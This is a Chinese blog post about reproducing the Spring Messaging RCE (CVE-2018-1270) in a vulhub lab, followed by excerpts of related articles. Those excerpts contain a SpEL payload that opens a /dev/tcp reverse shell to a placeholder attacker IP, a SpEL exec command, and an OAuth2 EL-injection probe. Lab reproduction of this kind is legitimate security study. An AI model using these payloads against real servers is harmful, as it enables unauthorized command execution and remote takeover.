Spring Messaging 远程命令执行漏洞（CVE-2018-1270）

最新推荐文章于 2023-12-27 14:51:23 发布
最新推荐文章于 2023-12-27 14:51:23 发布
阅读量560 收藏 1
点赞数
分类专栏： vulhub漏洞复现 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/EC_Carrot/article/details/119379856
版权

漏洞简介

Pivotal Spring Framework是美国Pivotal Software公司的一套开源的Java、Java EE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Pivotal Spring Framework 5.0.5之前的5.0版本、4.3.15之前的4.3版本和不再支持的老版本中存在安全漏洞。远程攻击者可通过构造消息利用该漏洞执行任意代码。

漏洞复现

我使用的是vulhub的环境，环境内自带exploit.py，该poc需要修改参数且不具有通用性，当然也可以查看这篇文章来了解详细配置，在vulhub的环境里只需要修改以下url即可利用，我们用python3来运行该poc：
在这里插入图片描述
在这里插入图片描述

小 白 萝 卜
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Spring Framework远程代码执行漏洞
m0_71745903的博客
01-11 574
2022年3月30日，国家信息安全漏洞共享平台（CNVD）发布了Spring框架远程命令执行漏洞（攻击者利用该漏洞，可在未授权的情况下远程执行命令。目前，此漏洞POC、技术细节及EXP已大范围公开，此漏洞影响范围极大。目前Spring官方已发布补丁修复该漏洞，强烈建议Spring框架用户立即更新至最新版本。
spring MVC_RFD 文件下载 （CVE-2020-5398）
小小猪的博客
12-29 723
spring MVC_RFD 文件下载 （CVE-2020-5398） 漏洞描述： Pivotal Software（Spring系列）官方发布 Spring Framework 存在 RFD（反射型文件下载漏洞）的漏洞报告，此漏洞为攻击客户端的漏洞，官方将漏洞严重程度评为高。报告指出，当响应中设置了“Content-Disposition”头且filename属性是用户可控时容易受到RFD攻击。攻击应满足以下所有条件才可成功： 1.header使用org.springframework.http.C.
Spring框架漏洞合集
小小猪的博客
08-18 7761
Spring框架漏洞合集 Spring Security OAuth2 远程命令执行漏洞（CVE-2016-4977） 访问路径/oauth/authorize，会看到左上角有个绿色叶子的标志，一般都是spring或者springboot 直接打poc，可以看到有el表达式注入的形式 /oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test 如果要
CVE-2022-22965：Spring Framework远程代码执行漏洞
qq_50854662的博客
11-12 1079
CVE-2022-22965：Spring Framework远程代码执行漏洞
Spring-Messaging远程代码执行漏洞（CVE-2018-1270）
最新发布
m0_65150886的博客
12-27 1065
'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5/dev/tcp/你的kaliIP/kali监听端口;sockjs = SockJS('http://你的靶机IP:8080/gs-guide-websocket')
spring-messaging-5.0.8.RELEASE-API文档-中文版.zip
06-26
赠送jar包：spring-messaging-5.0.8.RELEASE.jar； 赠送原API文档：spring-messaging-5.0.8.RELEASE-javadoc.jar； 赠送源代码：spring-messaging-5.0.8.RELEASE-sources.jar； 赠送Maven依赖信息文件：spring-...
spring-messaging-4.3.20.RELEASE-API文档-中文版.zip
04-08
赠送jar包：spring-messaging-4.3.20.RELEASE.jar； 赠送原API文档：spring-messaging-4.3.20.RELEASE-javadoc.jar； 赠送源代码：spring-messaging-4.3.20.RELEASE-sources.jar； 包含翻译后的API文档：spring-...
spring-messaging-4.3.20.RELEASE-API文档-中英对照版.zip
04-07
赠送jar包：spring-messaging-4.3.20.RELEASE.jar 赠送原API文档：spring-messaging-4.3.20.RELEASE-javadoc.jar 赠送源代码：spring-messaging-4.3.20.RELEASE-sources.jar 包含翻译后的API文档：spring-...
spring-framework-5.0.5.RELEASE 漏洞修复
04-11
spring-messaging模块远程代码执行（CVE-2018-1270） STOMP（Simple Text Orientated Messaging Protocol）全称为简单文本定向消息协议，它允许STOMP客户端与任意STOMP消息代理（Broker）进行交互。Spring框架中的...
spring-messaging-4.3.12.RELEASE-API文档-中英对照版.zip
07-11
赠送jar包：spring-messaging-4.3.12.RELEASE.jar； 赠送原API文档：spring-messaging-4.3.12.RELEASE-javadoc.jar； 赠送源代码：spring-messaging-4.3.12.RELEASE-sources.jar； 赠送Maven依赖信息文件：spring-...
SpringMessaging命令执行漏洞 cve-2018-1270
whatday的专栏
07-07 2250
漏洞概述 https://pivotal.io/security/cve-2018-1270 STOMP（Simple Text Orientated Messaging Protocol）全称为简单文本定向消息协议，它是一种在客户端与中转服务端（消息代理Broker）之间进行异步消息传输的简单通用协议，它定义了服务端与客户端之间的格式化文本传输方式。已经在被许多消息中间件与客户端工具所支持。STOMP协议规范：https://stomp.github.io/stomp-specification-1.
Spring Framework 4.1.4发布
07-06 175
刚好是新年的时候，JürgenHöller在Spring Blog上发布了Spring Framework 4.1.4、4.0.9和3.2.13。 在这三个维护版本中，已修复了一些小问题，并做了一些改进，以取得良好的效果。 有关这些改进的更多详细信息，可以通过JIRA在变更日志中阅读。 经过一年的积极维护，强烈建议您升级到4.1.x产品线，以便为下一个计划的4.1.5维护版本做准备。 4....
Spring Framework CVE-2020-5408 CORS 配置漏洞
日拱一卒无有尽，功不唐捐终入海
08-27 723
背景： 一直零散的使用着Spring Boot 的各种组件和特性，从未系统性的学习和总结，本次借着这个机会搞一波。共同学习，一起进步。哈哈CVE-2020-5408 是一个在Spring Framework中的跨站请求伪造（Cross-Site Request Forgery, CSRF）漏洞。该漏洞主要是由于Spring Framework在处理跨站资源共享（Cross-Origin Resource Sharing, CORS）时的错误配置。
Spring 框架更新了一条可能造成 RCE（远程命令执行漏洞）
撸起袖子加油干
03-30 747
今天 Spring 框架更新了一条可能造成 RCE（远程命令执行漏洞）的问题代码，如图： 随即在国内安全圈炸开了锅，大家纷纷转发一张图： 上次因为核弹级漏洞 log4j2 的 POC 公开，大批企业为了解决那个漏洞，纷纷升级 JDK 的版本，然而这次的漏洞恰好是在 jdk 9+ 版本存在，客户就很郁闷了，降级？log4j2 还没修完，再升级也没用，该怎么办？ 已经有很多大厂的安全研究员对该漏洞进行了研究，并复现漏洞，下图是国内超级巨佬的复现截图： 弹计算机是验证命令执行漏洞存在的最常用的
【转】走进 Spring 身后不一般的 Pivotal
wsdhla的专栏
10-13 325
走进 Spring 身后不一般的 Pivotal
Spring Framework 概述
Wilson的专栏
04-18 923
Spring Framework概述
vulhub-Spring Messaging 远程命令执行漏洞（CVE-2018-1270）
weixin_42513429的博客
08-20 444
https://vulhub.org/#/environments/spring/CVE-2018-1270/ 根据官方的说法，应用的场景各不相同，官方的exp代码还是很容易看懂的 1、基础地址，在vulhub中为http://your-ip:8080/gs-guide-websocket 2、待执行的SpEL表达式，如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success') 3、某一个订阅的地址，如vulhub中为：/topic/gree.
spring框架漏洞整理(Spring Framework漏洞)
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
11-01 1404
spring框架漏洞整理之Spring Framework漏洞(CVE-2015-5211)Spring Framework 内容协商机制(content-negotiation)反射型文件下载(RFD)。 RFD，即 Reflected File Download 反射型文件下载漏洞，是一个 2014 年来自 BlackHat 的漏洞。这个漏洞在原理上类似 XSS，在危害上类似 DDE：攻击者可以通过一个 URL 地址使用户下载一个恶意文件，从而危害用户的终端 PC。 这个漏洞很罕见，大多数公司会认为它是
Spring Messaging 远程代码执行漏洞分析（CVE-2018-1270）
mole_exp的博客
02-26 8099
Spring Messaging 远程代码执行漏洞分析（CVE-2018-1270）
org.springframework:spring-messaging:5.3.18 依赖
05-20
这是 Spring Framework 5.3.18 中的一个 Maven 依赖项，它提供了对 Spring Messaging 模块的支持。Spring Messaging 提供了基于消息的应用程序的支持，包括支持 STOMP（简单文本定向消息协议）和 WebSocket。它还提供了对 AMQP（高级消息队列协议）和 JMS（Java消息服务）的支持。 通过这个依赖，你可以在你的应用程序中使用 Spring Messaging 模块提供的功能。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值